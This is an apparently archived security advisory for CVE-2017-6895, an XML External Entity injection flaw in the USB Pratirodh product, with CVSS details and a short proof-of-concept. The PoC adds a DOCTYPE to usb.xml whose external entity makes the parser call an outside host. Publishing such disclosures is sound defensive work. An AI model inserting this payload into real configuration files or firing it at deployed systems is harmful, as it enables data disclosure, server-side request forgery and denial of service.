USB Pratirodh XXE Injection

2017.03.17
Credit: Sachin Wagh
Risk: High
Local: No
Remote: Yes
CWE: CWE-611


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

--001a113ff018269a92054ac84a6a Content-Type: text/plain; charset=UTF-8 Vulnerability Title: USB Pratirodh XML External Entity Injection Vulnerability Affected Product: USB Pratirodh Product Homepage: https://cdac.in/index.aspx?id=cs_eps_usb_pra CVE-ID : CVE-2017-6895 Severity: Medium Class: XXE [CWE-611] Impact: XML External Entity, Information Disclosure, Denial Of Service, Author: Sachin Wagh (@tiger_tigerboy) *Description:* USB Pratirodh is prone to an XML External Entity injection vulnerability. XXE attack is an attack on an application that parses XML input from untrusted sources using incorrectly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. Proof of Concept: Added below code after xml tag in to the usb.xml file. *<!DOCTYPE foo [ * * <!ELEMENT foo ANY >* * <!ENTITY xxe SYSTEM "http://tigerboy.com/XXE <http://tigerboy.com/XXE>" >]><foo>&xxe;</foo>* *Reference:* https://secur1tyadvisory.wordpress.com/2017/03/15/usb-pratirodh-xml-external-entity-injection-vulnerability/ *Credit:* *Sachin Wagh (@tiger_tigerboy)* --001a113ff018269a92054ac84a6a Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable <div dir=3D"ltr"><div><div class=3D"gmail_signature"><div dir=3D"ltr"><div = dir=3D"ltr"><div dir=3D"ltr"><div style=3D"color:rgb(34,34,34);font-family:= calibri;font-size:medium;font-style:normal;font-variant-ligatures:normal;fo= nt-variant-caps:normal;font-weight:normal;letter-spacing:normal;line-height= :normal;text-align:start;text-indent:0px;text-transform:none;white-space:no= rmal;word-spacing:0px;background-color:rgb(255,255,255)"></div><div dir=3D"= ltr">Vulnerability Title: USB Pratirodh XML External Entity Injection Vulne= rability</div><div dir=3D"ltr">Affected Product: USB Pratirodh</div><div di= r=3D"ltr">Product Homepage: <a href=3D"https://cdac.in/index.aspx?id=3Dcs_e= ps_usb_pra">https://cdac.in/index.aspx?id=3Dcs_eps_usb_pra</a></div><div di= r=3D"ltr">CVE-ID : CVE-2017-6895</div><div dir=3D"ltr">Severity: Medium</di= v><div dir=3D"ltr">Class: XXE =C2=A0[CWE-611]</div><div dir=3D"ltr">Impact:= XML External Entity, Information Disclosure, Denial Of Service,</div><div = dir=3D"ltr">Author: Sachin Wagh (@tiger_tigerboy)</div><div dir=3D"ltr"><br= ></div><div dir=3D"ltr"><b>Description:</b></div><div dir=3D"ltr"><br></div= ><div dir=3D"ltr">USB Pratirodh is prone to an XML External Entity injectio= n vulnerability.</div><div dir=3D"ltr">XXE attack is an attack on an applic= ation that parses XML input from untrusted sources using incorrectly config= ured XML parser. This attack may lead to the disclosure of confidential dat= a, denial of service, server side request forgery, port scanning from the p= erspective of the machine where the parser is located, and other system imp= acts.</div><div dir=3D"ltr">Proof of Concept:</div><div dir=3D"ltr"><br></d= iv><div dir=3D"ltr">Added below code after xml tag in to the usb.xml file.<= /div><div dir=3D"ltr"><br></div><div dir=3D"ltr"><b>&lt;!DOCTYPE foo [=C2= =A0</b></div><div dir=3D"ltr"><b>=C2=A0&lt;!ELEMENT foo ANY &gt;</b></div><= div dir=3D"ltr"><b>=C2=A0&lt;!ENTITY xxe SYSTEM &quot;<a href=3D"http://tig= erboy.com/XXE">http://tigerboy.com/XXE</a>&quot; &gt;]&gt;&lt;foo&gt;&amp;x= xe;&lt;/foo&gt;</b></div><div dir=3D"ltr">=C2=A0</div><div dir=3D"ltr"><b>R= eference:</b></div><div dir=3D"ltr"><br></div><div dir=3D"ltr"><a href=3D"h= ttps://secur1tyadvisory.wordpress.com/2017/03/15/usb-pratirodh-xml-external= -entity-injection-vulnerability/">https://secur1tyadvisory.wordpress.com/20= 17/03/15/usb-pratirodh-xml-external-entity-injection-vulnerability/</a><br>= </div><div dir=3D"ltr"><br></div><div dir=3D"ltr"><b>Credit:</b></div><div = dir=3D"ltr"><b><br></b></div><div dir=3D"ltr"><b>Sachin Wagh (@tiger_tigerb= oy)</b></div><div><br></div></div></div></div></div></div> </div> --001a113ff018269a92054ac84a6a--

References:

https://secur1tyadvisory.wordpress.com/2017/03/15/usb-pratirodh-xml-external-entity-injection-vulnerability/


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